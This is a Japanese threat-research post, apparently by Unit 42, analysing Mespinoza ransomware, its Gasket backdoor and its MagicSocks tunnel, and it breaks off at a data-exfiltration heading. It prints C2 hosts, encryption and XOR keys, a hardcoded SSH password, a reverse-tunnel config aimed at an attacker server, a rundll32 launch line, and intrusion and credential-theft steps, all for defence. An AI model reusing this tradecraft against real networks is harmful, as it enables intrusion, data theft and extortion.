Mespinozaランサムウェアギャング 被害組織を「パートナー」と呼びGasketやMagicSocksツールで攻撃

By , and

Category: Ransomware, Unit 42

Tags:

Mespinoza ransomware gang

This post is also available in: English (英語)

概要

サイバー攻撃が盛んになるにつれ、ランサムウェアギャングたちは、より多くの被害者により多くの身代金を支払わせるべく、その戦術やビジネスモデルを変化させつづけています。こうした犯罪組織は高度化していくほどにあたかも事業を営むかのような側面を見せるようになります。

その好例といえるのがMespinozaです。Mespinozaはハッキング用のツールに奇妙な名前を付けたがる、非常に多数のツールを開発しているグループです。Unit 42のサイバーセキュリティコンサルタントは、同グループが米国の出版、不動産、工業生産、教育などの組織を攻撃し、160万ドルもの身代金を要求し、47万ドルもの支払いを行わせていることを確認しています。FBIは最近、米国および英国の幼・小・中・高校、大学、神学校までもがハッキングされたことを受け、「PYSA」とも呼ばれるこのグループに関する警告を公開しました。

このグループの詳細を知るため、私たちはこのグループのインフラを監視しました。監視対象には、攻撃管理用のC2(Command and Control)サーバーや、多額の身代金支払いを拒否した被害者のデータ掲載用リークサイトなどが含まれます。本稿では、Mespinozaギャングに関する主な発見を共有します。

極めて規律正しい: 新しいネットワークへのアクセス後、トリアージと思われる方法で侵害システムを調査します。本格的攻撃の開始に値するデータの有無を判断しています。彼らは、clandestine、fraud、ssn、driver*license、passport、I-9などのキーワードを探します。漏えいした場合に最も影響の大きい機密ファイルを狙ってのことと考えられます。

多数の業界を標的にする : 被害組織は「パートナー」と呼ばれます。この言葉を使うことで、事業を営む企業のようにグループを運営しようとしていること、被害者を利益をもたらすビジネスパートナーとみなしていることがわかります。同グループは、187の被害組織からのものとされるデータをリークサイトに公開しています。被害組織の属する業界は、教育、製造、小売、医療、政府、ハイテク、輸送・物流、エンジニアリング、ソーシャルサービスなど多岐にわたります。

グローバルに展開している: リークサイトで確認された被害組織の55%が米国国内組織です。このほかの被害組織は、カナダ、ブラジル、イギリス、イタリア、スペイン、フランス、ドイツ、南アフリカ、オーストラリアなど、世界20カ国以上にまたがっています。

被害者へアプローチが傲慢: 身代金要求メモには「上司に何て報告したら?」「システムを守りなよ、相棒」というアドバイスが書かれています。

独創的な名前の攻撃ツールを使う: ネットワークトンネルを作成してデータを吸い上げるツールは「MagicSocks」と呼ばれています。ステージングサーバーに保存されていて、攻撃の仕上げに使用うとおぼしきコンポーネントは「HappyEnd.bat」と名付けられています。

パロアルトネットワークスの次世代ファイアウォールをご利用のお客様は、DNS Security脅威防御Advanced URL FilteringWildFireなどのセキュリティサブスクリプションに加えてCortex XDRを通じてこの脅威から保護されています。このほか、AutoFocusを使うと、関連エンティティを追跡できます。Cortex Xpanseのお客様はネットワークセキュリティの攻撃面を評価・管理し、システムインベントリを作成できます。

なお、観測されたテクニックや関連行動指針を可視化したものをUnit 42 ATOM ビューアで提供していますので参考にしてください。

RDPによるネットワークアクセス

私たちがレスポンスで支援した事例では、ランサムウェアのオペレーターがリモート・デスクトップ・プロトコル(RDP)を使用して被害組織のネットワークにアクセスしたり、オープンソースツールやシステム内蔵ツールの助けを借りてラテラルムーブ (横展開) や認証情報収集を行っていました。彼らは「二重の恐喝(double extortion)」と呼ばれる戦術(ランサムウェア展開前にデータを漏出させておき、後からそれをリークすると脅す)をとっています。また、ネットワークアクセスの維持のために(マルウェアコードを基にした)「Gasket」と呼ばれる新しいバックドアをインストールします。Gasketは、オープンソースのChiselプロジェクトを使用して、ネットワークへの継続的なリモートアクセスのためのトンネルを作成する「MagicSocks」という機能を参照しています。

Mespinozaランサムウェアギャングは、まずファイル名がキーワードのリストに一致するファイルをPowerShellスクリプトを使ってリモートサーバーに漏出させ、その後でランサムウェアのインストールすることが確認されています。このキーワードには、「secret(秘密)」、「fraud(詐欺)」、「SWIFT.(SWIFT送金、国際銀行間の金融通信)」などの字列が含まれています。アクターがファイルを公開した場合に組織に最も大きな影響を与える機密ファイルを収集し、漏出させようとしたことが示唆されています。本稿執筆時点で、同グループのリークサイトには世界中のさまざまな業界の187におよぶ組織名と情報が掲載されています。

Mespinozaランサムウェアの被害数(国別)
図1 Mespinozaランサムウェアの被害数(国別)
Mespinozaランサムウェアの被害数(産業別)
図2. Mespinozaランサムウェアの被害数(産業別)

多くの記述で同アクターは影響を受けた組織を「パートナー」と呼んでいます。Mespinozaがこの言葉を使うのは、自分たちの業務を事業運営になぞらえ「パートナー」をビジネスに資金を提供するビジネスパートナーと捉えているからではないかと考えられます。

GasketやMagicSocksといったツールや、リークサイト上の漏出データは、2020年4月にまでさかのぼります。このことからMespinozaランサムウェアギャングは1年以上前から活動していたことが示唆されます。MespinozaはRansomware-as-a-Service(RaaS)モデルを採用しているとの報告もありますが、弊社が調査したランサムウェア事例からはRaaSモデルの利用は確認されていません。

Gasket

Mespinozaランサムウェアを解析するなかで、脅威アクターが先にGo言語で書いたバックドアをシステムにインストールしてからランサムウェアを配布していることが確認されました。また、フランス国立情報システムセキュリティ庁(ANSSI)が公開した報告書によれば、同庁は脅威アクターがGoで書かれたペイロードを使い、Mespinozaランサムウェアを配信していることも確認しています。ANSSIの報告書に記載されているGoのサンプルを分析したところ、それが私たちの事例で観測されたツールと同じものであり、初期の難読化されていないバージョンであることがわかりました。

Gasketの開発者は、このバックドアをGolangで作成し、オープンソースのGobfuscateツールを使用してペイロードを難読化していました。私たちはこのツールを「Gasket」と名付けています。その理由は、コマンド&コントロール(c2)通信を行うために同ツールが呼び出す以下2つの関数名にあります。これら2つの関数は、ANSSIレポートに記載されている亜種(SHA256:9986b6881fc1df8f119a6ed693a7858c606aed291b0b2f2b3d9ed866337bdbde) のバージョン「001」に含まれていたものです。

  • main.checkGasket
  • main.connectGasket

私たちは、アクターがネットワークへのアクセスを維持するために、RDPのバックアップとしてこのバックドアを使用していると考えています。

Gasketは、渡されたコマンドライン引数を解析し、自身をスタンドアロンプロセスとして実行するか(デーモンモードなし)、サービスとしてインストールするか(デーモンモード、コマンドライン引数なし)、あるいは既にインストールされているGasketサービスを制御するかを判断します。Gasketは以下のコマンドライン引数に対応しています。

  • no-persist
  • service Restart|Install|Start|Run

デーモンとしてインストールしようとする場合、Gasketはサービスを作成してその関数コードを実行します。以下のサービス名は、既知のGasketのサンプルから抽出されたものです。

  • AzureAgentController
  • CorpNativeHostDebugger
  • DefenderSecurityAgent
  • GetServiceController
  • JavaJDBC
  • MicrosoftSecurityManager
  • MicrosoftTeamConnect
  • MicrosoftTeamConnectDebugger
  • MicrosoftTeamManager
  • MsStudioAgentUpdateService
  • WindowsHealthSubSystem
  • WindowsManagementSystem
  • WindowsProtectionSystem
  • WindowsSoftwareManager
  • WindowsSoftwareManagerDebugger

コマンド&コントロール

大半のバージョンのGasketには、プライマリC2通信チャネルと、セカンダリのフォールバックチャネルが用意されています。Gasketの初期バージョンでは、サーバーにIPアドレスを使用するHTTPベースのC2通信のみに依存していましたが、後期バージョンでは、同じHTTPベースのC2チャネルをフォールバックとして使用し、主にDNSトンネリングのC2チャネルに依存しています。DNSトンネリングプロトコルは、DNS TXTクエリを使用し、Chashellというオープンソースプロジェクトをベースにしています。たとえば、以下のようなDNS TXTクエリがGasketから発行されていました。

98ca192722ba28e9b8fb34b0d789a00608a13aac2e8d5b420b8e2ae899777a4.5c91a5a50ca31d47ed0d1dbbd0b7d0633b8f80d00eae16b6b1e6e326a.transnet[.]wiki

Gasketが発行するアウトバウンドDNSクエリを理解するため、Chashellサーバーを分析し、インバウンドDNSクエリがどのように処理されるかを突き止め、サーバーがどのようにレスポンスを構築するかを把握しました。Chashell C2サーバはC2の完全修飾ドメイン名上記のtransnet[.]wiki)より前のサブドメインを切り出し、ピリオドを取り除いてサブドメインラベル同士を結合します。その後、サーバーはXSalsa20とPoly1305を使って結果データを復号します。そのなかで平文部分はシリアル化されたprotobufメッセージとして扱われます。ChashellをベースとしたDNSトンネリングC2チャネルを使用するGasketサンプルはすべて、転送データの復号に37c3cb07b37d43721b3a8171959d2dff11ff904b048a334012239be9c7b87f63という固有のキーを使用します。

ChashellのGitHubによると、chacomm.protoファイルには、Gasketが受信した復号データをサーバーが解析する際に使用するprotobufメッセージの構造体と、その応答をどのように構成するかが記述されています。メッセージの構造体には、侵害されたホストに固有のGUIDであるclientguidフィールドと、ChunkStartChunkDataPollQueryInfoPacketのいずれかのパケットタイプが含まれます。それぞれのパケットタイプの構造は異なりますが、次の表に各パケットタイプの目的を説明します。

パケットタイプ 説明
InfoPacket 侵害されたシステムのホスト名をC2に提供する初期ビーコン。
ChunkStart チャンク識別子を提供し、データ送信に必要なDNSクエリ数をC2に伝える。
ChunkData C2がアップロードされたデータを再構築できるよう、チャンク識別子、現在のチャンク、データを含める。
PollQuery セッション維持のためのハートビートとして機能する。ただしC2からのデータ取得用クエリタイプとしても使用される。

表1 Chashellのさまざまなパケットタイプの目的

C2はこれらのクエリに対し、AnswerセクションのTXTフィールド内の16進数データで応答します。この16進数データは、Chashellのchacomm.protoファイルと同じメッセージ構造体でシリアル化したprotobufです。以下の例では、ChashellサーバからDNSトンネリングC2チャネル経由でGasketペイロードにデータを送信するために必要なDNSリクエストとレスポンス、およびメッセージの内容を示しています。

GasketとChashellのメッセージ、clientguid、PollQueryの例
図3 ChashellのDNSリクエストとレスポンスのサンプルフロー

残念ながら、Gasketは上記のChashellサーバ経由で提供されたhostnameのデータをコマンドとして実行することはありません。Gasketにはサーバからの応答をどのように処理するかを決めるためのサブプロトコルとコマンドハンドラがあるからです。これについては次のセクションで説明します。GasketはDNSリクエスト用のChashellのDNSトンネリングプロトコルのほかにもサブプロトコルを使用します。このサブプロトコルでは、メッセージタイプの後ろに暗号化されたデータが続き、これを使ってC2にメッセージの種類を通知しています。このことから、同アクターはChashellサーバーのコードを修正し、修正した通信チャネルを使えるようにしていたことがうかがわれます。以下が利用可能なメッセージタイプです。

メッセージタイプ 説明
1 初期チェックイン。<バージョン番号>///<暗号化されたコンピュータ名とユーザー名>///<コンピュータ名>///<ユーザー名> の形式
2 ハートビート。<バージョン番号>///<暗号化されたコンピュータ名とユーザー名> の形式
9 アウトプットとデバッグメッセージを含むデータが送信された

表2 Chashellのさまざまなパケットタイプの目的

前述のとおり、Gasketの多くのバージョンには、HTTPベースのバックアップC2チャネルが用意されており、DNSトンネリングチャネルで使用されるドメインにアクセスできない場合にはそれが使用されます。ペイロードは、IPアドレスに直接HTTPリクエストを発行し、その動作にはDNSリクエストが必要ありません。このバックアップチャンネルを使えるよう、ペイロードには2バイトのバイナリ形式でハードコードされたIPアドレスリストが含まれています。ペイロードは各2バイトから10を引いてデコードし、その結果を使ってドット表記のIPアドレスを作成します。たとえば、37 00 9D 00 EF 00 27 00というバイトを2進法で入力すると、0x37、0x9d、0xef、0x27というリストになり、それぞれから10を引くと、0x2d、0x93、0xe50x1dとなり、これが45、147、22929という結果になります。これらの値をドット(.)でつなぎ、ドット表記のIP「45.147.229[.]29」を作ります。既知のHTTPベースのGasket C2サーバの全リストは、表5、および本ブログのIoC(Indicators of Compromise)セクションでご覧いただけます。

HTTP C2チャネルを介して送信される最初のビーコンには、URL /cert/trustへのPOSTリクエストが含まれます。このPOSTリクエストは、デフォルトのGo-http-client/1.1のUser-Agentを使用し、以下のような暗号化されたデータを含みます。

Host、User-Agent、Content-Length、Content-Type、Accept-Codingを含む暗号化データの例
図4 Gasketの初期ビーコンの通信例

HTTP POSTリクエストのデータは、文字列「dick」をキーとして、ローリングXORアルゴリズムで暗号化されます。cert/trustへの最初のビーコン内のデータには、ハードコードされたバージョン番号021、システムのユニークな識別子(MD5ハッシュまたはbase64エンコードされた文字列)、コンピュータ名、ユーザー名が///で区切られて含まれています(下記参照)。

021///15c50b724a801417ef4143bb58b7178b///<コンピュータ名>///<ユーザー名>

初期ビーコンの後、Gasketは/time/syncのURLにフォローアップリクエストを送信し、脅威アクターからのコマンドを取得しますが、その内容は以下のような形を取ります。

Host、User-Agent、Content-Length、Content-Type、Accept-Codingを表示するGasketの補足的リクエストの例。
図5 Gasketのフォローアップリクエストの例

これら/time/syncへのフォローアップリクエストには同じXORアルゴリズムとキーが使われ、結果のデータには最初の2つのフィールド(具体的には以下)が含まれます。

021///15c50b724a801417ef4143bb58b7178b

リモートロギング機能があるバージョンでは、Gasketは以下のような/cert/distのURLにHTTP POSTリクエストを送信します。

Gasketからのリモートリクエスト。Host, User-Agent, Content-Length, Content-Type, Accept-Codingが含まれている
図6 Gasketからのリモートロギングリクエストの例

前述のリモートロギングリクエストでは、ほかのHTTPリクエストと同じXORアルゴリズムやキーを使います。データ構造は送信される情報によって若干異なりますが、次のリモートエラーログの例に見られるように、バージョン番号、システム固有の識別子、最後にサーバーに送信されたメッセージなどが含まれます。

002<base64エンコードしたユーザー名+コンピュータ名>//////[Control]</base64> Failed to Stop Windows Protection System: Unknown action Stop (Windows保護システムの停止に失敗しました。不明なアクション Stop)

機能

C2サーバーからの応答では、ペイロードがコマンドとして扱う整数を含む///区切りのデータと、コマンド用の追加パラメータが提供されます。以下の表3は大半のバージョンと最新(021)のGasketで利用可能なコマンド一覧です。

コマンド 説明
1 os.exec.Command.Runでコマンド/アプリケーション/パワーシェルを実行し、標準出力を返す
2 指定されたリモートシステムに接続するため、rsocksプロジェクト(https://github.com/brimstone/rsocks)を使用してSOCKS5サーバーを起動する
3 コマンド2と同じ
4 現在アクティブなチャネルに応じてC2の通信をDNSからHTTPまたはHTTPからDNSに切り替える
7 Chiselプロジェクトを使って「MagicSocks」と呼ばれるクライアントを作成し、提供されたユーザー名と「networkZSA$789ty5」をSSHのパスワードとして使い、提供されたサーバーへのポートフォワードとトンネルトラフィックを行う
9 ペイロードを実行しているサービスを削除し、自分自身を削除する%temp%\del.batを作成し、os.Exit を呼び出すことでトロイの木馬をアンインストールする

表3 Gasketバージョン021で利用可能なコマンド

表3のコマンドを見ると、Gasketはバックドアとして機能するだけでなく、トンネリング機能も備えており、外部からコントロールされたサーバーに対してトラフィックをトンネリングする手段を脅威アクターに提供しているようです。Gasketは、トンネル作成の際、デバッグログ内で「magicSocks」を参照しており、これは「chisel」プロジェクトを使ったトンネル作成方法であると思われます。私たちはこのトンネリングツールのスタンドアロン版をこの脅威アクターが持っているという証拠を持っています。このツールが私たちが MagicSocks と呼ぶツールです。このツールについては次のセクションで説明します。

Gasketの進化

ここまで本稿ではいくつかのバージョンのGasketについてふれましたが、具体的にはバージョン001と021のみについて言及してきました。この2つのバージョン番号が、2020年4月から2021年3月までに確認されたGasketの最も古いバージョンと最も新しいバージョンとなっています。表4のGasketサンプル一覧は、それぞれのバージョン番号、サンプルに関連付けられている最初のタイムスタンプを示しています。

初出 SHA256値 バージョン
4/18/2020 b0629dcb1b95b7d7d65e1dad7549057c11b06600c319db494548c88ec690551e 001
5/08/2020 356671767c368e455f2261f7f76d9ee9bd0b522172490845b89281224ab5dbad 001
5/9/2020 a30e605fa404e3fcbfc50cb94482618add30f8d4dbd9b38ed595764760eb2e80 001
5/13/2020 64b9b5874820ca26344c919b518d6c0599a991aaf1943a519da98d294bebf01f 001
5/9/2020 ccfa2c14159a535ff1e5a42c5dcfb2a759a1f4b6a410028fd8b4640b4f7983c1 001
7/23/2020 5d8459c2170c296288e2c0dd9a77f5d973b22213af8fa0d276a8794ffe8dc159 001
10/7/2020 af97b35d9e30db252034129b7b3e4e6584d1268d00cde9654024ce460526f61e 001
5/14/2021 1b888acb22a8326bd5f80f840390182d00e0c8db416d29d042358b48d1220438 001
5/19/2020 0bcbc1faec0c44d157d5c8170be4764f290d34078516da5dcd8b5039ef54f5ca 002
11/23/2020 ea3b35384e803bef3c02a8f27aea2c2a40f9a4d2726113e1c5f2bc3be9c41322 002
8/31/2020 85c8ccf45cdb84e99cce74c376ce73fdf08fdd6d0a7809702e317c18a016b388 003
10/13/2020 8b5cdbd315da292bbbeb9ff4e933c98f0e3de37b5b813e87a6b9796e10fbe9e8 003
6/12/2020 701791cd5ed3e3b137dd121a0458977099bb194a4580f364802914483c72b3ce 006
6/20/2020 ef31b968c71b0e21d9b0674e3200f5a6eb1ebf6700756d4515da7800c2ee6a0f 006
9/04/2020 aa2faf0f41cc1710caf736f9c966bf82528a97631e94c7a5d23eadcbe0a2b586 006
9/04/2020 140224fb7af2d235e9c5c758e8acaee34c912e62fad625442e5ca4102d11e9e7 006
9/06/2020 d9c753b859414e4b38a0841423b159590c47ad580249b0cd3c99a0ecc6644914 006
9/17/2020 d591f43fc34163c9adbcc98f51bb2771223cc78081e98839ca419e6efd711820 006
9/25/2020 f8a5065eb53b1e3ac81748176f43dce1f9e06ea8db1ecfa38c146e8ea89fcc0b 006
7/16/2020 12b927235ab1a5eb87222ef34e88d4aababe23804ae12dc0807ca6b256c7281c 007
9/25/2020 045510eb6c86fc2d966aded8722f4c0e73690b5078771944ec1a842e50af4410 008
10/08/2020 6eb0455b0ab3073c88fcba0cad92f73cc53459f94008e57100dc741c23cf41a3 009
6/22/2020 f5cb94aa3e1a4a8b6d107d12081e0770e95f08a96f0fc4d5214e8226d71e7eb7 010
10/08/2020 2697bbe0e96c801ff615a97c2258ac27eec015077df5222d52f3fbbcdca901f5 010
7/16/2020 30bd30642bf83abd74b8b2312ea606e0f192b0d61351f1445d1a1458414992d3 011
10/14/2020 3a6ddc4022f6abe7bdb95a3ba491aaf7f9713bcb6db1fbaa299f7c68ab04d4f4 011
11/17/2020 c2ef84710937b622f35b2b8fab9f9aa86b718ba7bc77a40b33b92e40747676b5 012
11/28/2020 7b5027bd231d8c62f70141fa4f50098d056009b46fa2fac16183d1321be04768 014
01/07/2021 e47a632bfd08e72d15517170b06c2de140f5f237b2f370e12fbb3ad4ff75f649 016
12/14/2020 8a9205709c6a1e5923c66b63addc1f833461df2c7e26d9176993f14de2a39d5b 018
12/21/2020 6d1fde9a5963a672f5e4b35cc7b8eaa8520d830eb30c67fadf8ab82aeb28b81a 019
3/22/2021 0fd13ece461511fbc129f6584d45fea920200116f41d6097e4dffeb965b19ef4 019
3/10/2021 89b9ba56ebe73362ef83e7197f85f6480c1e85384ad0bc2a76505ba97a681010 020
3/23/2021 c9bed25ab291953872c90126ce5283ce1ad5269ff8c1bca74a42468db7417045 021

表4 既知のGasketのサンプルとそれぞれのバージョン

私たちは、Gasketのサンプルが使用していたC2のロケーションを、HTTPベースとDNSベースの両方のチャネルについて抽出して分析しました。表5に見られるハードコードされたドメインやIPアドレスは、Gasketのバージョンごとに固有のものではありません。バージョン番号が異なるGasketのサンプル間で、同じドメインやIPが複数使されていました。

バージョン C2サーバー
001 185.183.96[.]147

194.5.249[.]137

194.5.249[.]138

194.5.249[.]139

194.5.250[.]151

194.5.250[.]162

194.5.250[.]216

37.120.140[.]184

37.221.113[.]66

accounting-consult[.]xyz

ntservicepack[.]com

statistics-update[.]xyz

002 185.183.96[.]147

194.5.250[.]216

194.187.249[.]102

194.187.249[.]138

37.120.140[.]184

37.221.113[.]66

89.38.225[.]208

ntservicepack[.]com

reportservicefuture[.]website

sbvjhs[.]xyz

sbvjhs[.]club

003 185.186.245[.]85

193.239.84[.]205

193.239.85[.]55

194.187.249[.]102

194.5.249[.]18

194.5.249[.]180

86.106.20[.]144

89.38.225[.]208

firefox-search[.]xyz

sbvjhs[.]club

sbvjhs[.]xyz

visual-translator[.]xyz

wiki-text[.]xyz

006 185.183.96[.]147

194.187.249[.]102

194.187.249[.]138

194.5.250[.]216

37.120.140[.]184

37.120.140[.]247

37.221.113[.]66

86.106.20[.]144

89.38.225[.]208

ntservicepack[.]com

reportservicefuture[.]website

sbvjhs[.]club

sbvjhs[.]xyz

007 ntservicepack[.]com

reportservicefuture[.]website

37.120.140[.]247

194.5.250[.]216

185.183.96[.]147

008 firefox-search[.]xyz

visual-translator[.]xyz

wiki-text[.]xyz

185.186.245[.]85

193.239.85[.]55

193.239.84[.]205

194.187.249[.]102

009 firefox-search[.]xyz

visual-translator[.]xyz

wiki-text[.]xyz

185.186.245[.]85

193.239.85[.]55

193.239.84[.]205

194.187.249[.]102

010 185.185.27[.]3

185.186.245[.]85

193.239.84[.]205

193.239.85[.]55

194.187.249[.]102

37.120.145[.]208

blitzz[.]best

firefox-search[.]xyz

spm[.]best

visual-translator[.]xyz

wiki-text[.]xyz

011 visual-translator[.]xyz

firefox-search[.]xyz

wiki-text[.]xyz

sbvjhs[.]club

spm[.]best

blitzz[.]best

185.186.245[.]85

193.239.85[.]55

193.239.84[.]205

194.187.249[.]102

45.89.175[.]239

185.185.27[.]3

37.120.145[.]208

012 englishdict[.]xyz
serchtext[.]xyz
172.96.189[.]167
89.41.26[.]173
014 englishdict[.]xyz

serchtext[.]xyz

172.96.189[.]167

89.41.26[.]173

016 englishdialoge[.]xyz

starhouse[.]xyz

160.20.147[.]184

172.96.189[.]167

193.239.84[.]205

89.41.26[.]173

018 englishdialoge[.]xyz

starhouse[.]xyz

160.20.147[.]184

172.96.189[.]167

193.239.84[.]205

89.41.26[.]173

019 english-breakfast[.]xyz

pump-online[.]xyz

172.96.189[.]22

172.96.189[.]246

160.20.147[.]184

172.96.189[.]167

198.252.100[.]37

020 cvar99[.]xyz

dowax[.]xyz

english-breakfast[.]xyz

pump-online[.]xyz

45.147.230[.]162

45.147.230[.]212

172.96.189[.]22

172.96.189[.]246

160.20.147[.]184

172.96.189[.]167

198.252.100[.]37

021 transnet[.]wiki

cvar99[.]xyz

productoccup[.]tech

ccenter[.]tech

dowax[.]xyz

45.147.229[.]29

23.83.133[.]136

45.147.228[.]49

45.147.230[.]162

45.147.230[.]212

表5 C2ドメイン、IPアドレス、関連するGasketバージョン

前述したように、弊社は、脅威アクターが使用している多くのGasketバックドアやMagicSocksのバージョンを分析し、ブロックと追跡のためにかなりの量の関連インフラを収集しました。以下の図7のMaltegoチャートは、上記の表5に記載したGasketサンプル、そのバージョン、C2通信に使用される関連インフラを視覚化する上で役立ちます。以下図7は大きく分けて2つのクラスタを表しています。左側が最近のバージョン(012021、右側が012以前のバージョンです。

図7に示したエンティティ間リンクの大半はインフラ関連です。つまりWildFireサンドボックスの分析中にそれぞれのサンプルがリンクしたか、抽出したC2構成情報に基づいてリンクした可能性のあるドメイン名とIPアドレスです。

Mespinozaランサムウェアをマッピングし、ANSSIレポートやMagicSocksなどからのインフラやリンクを示す。
図7 GasketとMicroSocksのインフラとリンクを示すMaltego図

いくつかの明確なクラスタ(図7上の矩形で強調)間のリンクは限定的で、C2の再利用に関連したものがほとんどです。ただし先に挙げた一般的なWindowsサービス名などのサンプルメタデータを使い、いくつか追加でリンクすることができました。

下図8のヒートマップを使用して、すべてのGasketサンプルにおけるプライマリC2アドレスの再利用とオーバーラップの量をさらに視覚化することができました。一般的には、Gasketの初期バージョンでは、同じバージョンの複数のバリエーションでも、新しいGasketのバージョンを使用した異なるバリエーションでも、C2アドレスが最も多く再利用されていることが表に示されています。ヒートマップを見ると、008年頃以降のバージョンでは、プライマリC2アドレスの再利用がバージョン内およびバージョン間で減少しており、最新のバージョンではプライマリC2アドレスが再利用されていないようです。

プライマリC2のGasketバージョンを示すヒートマップ図
図8 プライマリC2に対するGasketのサンプル数とバージョンを示すヒートマップ

このパターンの外れ値は上の図8の9行目、11行目、12行目です。9行目と11行目は図7の右上のクラスタに関連し、12行目は右下のクラスタに関連しています。Gasketのバージョンは比較的古いのに、C2での再利用がほとんどないという点でこれらは外れ値といえます。くわえて、「図7の9行目と11行目に記載されているC2を含むクラスタ」から「Gasketマッピングにおけるほかの部分」へのリンクは、それらが既知のGasketサンプルであること、他のクラスタの他のサンプルと同じWindowsサービス名を共有していること、という事実しかありません。これらの外れ値は、オーダーメイドされた攻撃インフラを持つGasketマルウェアを使った、特定キャンペーンに起因していると考えられます。

Gasketの初期バージョンでは、感染時に作成されるWindowsサービス名にいくつか変更が加えられ、インフラがもっとも繰り返し使用されていることがわかります。しかし、シングルユースで短命なインフラを採用していると思われる最新のGasketのバージョンでは、(少なくとも主要なC2では)Windowsサービスに一貫した名前、すなわちJavaJDBCを使用しています。

また、図7では、GasketとMagicSocksツールの間には共通のIPアドレス89.44.9[.]229が確認できます。このIPアドレスは、Gasket(SHA256:aa2faf0f41cc1710caf736f9c966bf82528a97631e94c7a5d23eadcbe0a2b586)とMagicSocksのサンプル(SHA256:d49a69be32744e0af32ad622aa22ba480d68253287c99f5a888feb9f2409e46f)の両方、そしてMagicSocksに関連するいくつかのPowerShellコンポーネントをホストしています。PowerShellスクリプトのハッシュ値と他のMagicSocksサンプルから抽出した追加C2アドレスは本稿巻末のIoCセクションに記載しています。

MagicSocks

GasketツールはオープンソースのChiselプロジェクトをベースにしたMagicSocksと呼ばれるプロキシトンネリング機能を参照していました。アクターはGasketに追加して使うMagicSocksのスタンドアロン版も作成しています。スタンドアロンのMagicSocksツールはダイナミックリンクライブラリ(DLL)として提供されており、これもまたGolangで書かれています。MagicSocksの開発者は、Chiselプロジェクトのコードを使用して、外部アクターが制御しているChiselサーバーにローカルシステムからトラフィックをトンネリングします。このツールは、R:0.0.0.0:50000:socksという文字列を作成してChiselクライアントのコードに与えます。Chiselクライアントのコードはこの文字列から次のJSONを生成します。生成されたJSONはクライアントの設定として使われます。

{"Version":"0.0.0-src","Remotes":[{"LocalHost":"0.0.0.0","LocalPort":"50000","RemoteHost":"","RemotePort":"","Socks":true,"Reverse":true}]}

またこのツールは、外部アクターが制御するChiselサーバーをあらわす文字列を作成します。このサーバーは以下の場所でホストされています。

http://creatordampfe[.]xyz:443

MagicSocksツールを実行する際、MagicSocksはChiselクライアントを使用して、creatordampfe[.]xyzにホストされているChiselサーバーに接続します。これは、以下のようなHTTPリクエストとレスポンスで始まります。

MagicSocksのリクエストとレスポンスには、Host, User-Agent, Content-Length, Content-Type, Accept-Codingが表示されます。
図9 MagicSocksの初期リクエストとレスポンスの例

Chiselを使用する目的は、ローカルシステムからのトラフィックをcreatordampfe[.]xyzにトンネリングすることで、このcreatordampfe[.]xyzがアウトバウンドトラフィックの最終目的地へのプロキシとして機能します。残念ながら、creatordampfe[.]xyzにあるChiselサーバーにアクセスし、トラフィックの最終目的地を特定することはできていません。このことからは、MagicSocksがアクターに隠蔽機能を提供していることを強調するものです。

私たちはさらに5つのMagicSocksスタンドアロンサンプルを発見しましたが、いずれも2021年2月から2021年4月の間にコンパイルされたものでした。5つのサンプルのそれぞれからリモートChiselサーバーの場所を抽出したところ、以下の3つのユニークなC2ロケーションが見つかりました。

  • 104.168.164[.]195
  • 172.96.189[.]86
  • 142.79.237[.]163

これらのサンプルもGobfuscateで難読化されていますが、それ以前にコンパイルされたサンプルは以下の場所でコンパイルされており、solarというユーザーがLinuxシステム上で作成したものであることがわかります。

/home/solar/c/go/magic-dll/src/sokos/

私たちが発見したMagicSocksのスタンドアロン版サンプルの1つは、run64.exe(SHA256:f2dcad28330f500354eb37f33783af2bcc22d205e9c3805fed5e919c6853649c)というファイル名の別のツールと一緒に配信・実行されました。run64.exeはMagicSocksのDLL (timex.dll)を実行するだけのものです。具体的には、以下のrundll32コマンドを実行してエクスポートされたDebug関数を呼び出します。

C:\Windows\System32\rundll32.exe <current directory>\timex.dll,Debug

Goプロジェクトのソースは、solarというMagicSocksのものと同じユーザー名を含む次のフォルダにありました。このことから、MagicSocksのサンプルと同じ個人が作成したと考えられます。

/home/solar/c/go/exec-dll/src/

2020年9月のMagicSocksの別のサンプル(SHA256:d49a69be32744e0af32ad622aa22ba480d68253287c99f5a888feb9f2409e46f)も見つかりましたが、こちらはGobfuscateでの難読化はされていませんでした。このサンプルは89.44.9[.]229/info.txtにホストされていましたが、これはGasketのサンプル(SHA256:aa2faf0f41cc1710caf736f9c966bf82528a97631e94c7a5d23eadcbe0a2b586)をホストしていたのと同じIPです。このバージョンのMagicSocksは、socks5ライブラリを使用して、リモートサーバ(具体的には23.227.206[.]158:443)へのプロキシを作成します。この89.44.9[.]229というIPには、ほかにも興味を引くファイルがホストされていました。これらについては、本稿の関連ツールのセクションで後述します。

Mespinoza ランサムウェア

GasketツールやMagicSocksツールはランサムウェアMespinoza(PYSAとも呼ばれる)を配信する攻撃に使用されていました。さらに、Unit 42のコンサルタントが行ったインシデントレスポンス事例を分析した結果、以下のように、オペレーターが攻撃の後半部分をやりやすくするために使用していたツールが発見されました。

たとえば、RDPによる侵入後ネットワークをひととおり偵察する目的で「ADRecon」を使い、Active Directoryのドメインやユーザー、グループ、コンピュータなどを列挙していました。さらに、Windows組み込みのquser、ping、netなどのユーティリティや、ダウンロードしたAdvanced IP Scanner、Advanced Port Scannerを使って、ログオンユーザーやネットワークトポロジーに関する情報を収集していました。また、PowerShellスクリプトを使ってシステムを起動し、ネットワーク経由でオンにすることで、オペレーターは新たなターゲットを得ていました。

認証情報を収集し、ラテラルムーブやランサムウェアの展開を容易にするため、オペレーターはPowerShellを使ってファイルシステムを再帰的に検索し、テキストファイルやスプレッドシートに保存されたログオン認証情報を探していました。また、WinSCP、PuTTY、FileZillaなどのリモートアクセスツールからセッション情報を抽出できるPowerShellツール「SessionGopher」を使い、RDPやMicrosoft Sysinternalsのユーティリティ「PsExec」を有効化し、ラテラルムーブを可能にしていました。

さらにオペレーターは、PowerShellスクリプトを使ってセキュリティサービスやバックアップを停止したり、ローカルグループポリシーを編集してWindows Defenderの機能を無効にしたりしました。

このランサムウェアは、ファイルシステムを列挙して非対称暗号(公開鍵暗号)でファイルを暗号化し、ファイルの名前を変更して特定の拡張子を持たせ、身代金要求のメッセージを表示するという、極めて単純なものです。この身代金メッセージには、被害者が暗号化されたファイルを解読するための支払い方法を相談するために連絡する3つのメールアドレスが含まれています。身代金のメッセージには電子メールアドレスが記載されているだけでなくグループのリークサイトが含まれおり、アクターがファイルの暗号化前にネットワークから窃取した機密ファイルを掲載するとしています。このように機密性の高いファイルを利用することで支払い交渉を有利に進めようとしているようです。

データの漏出

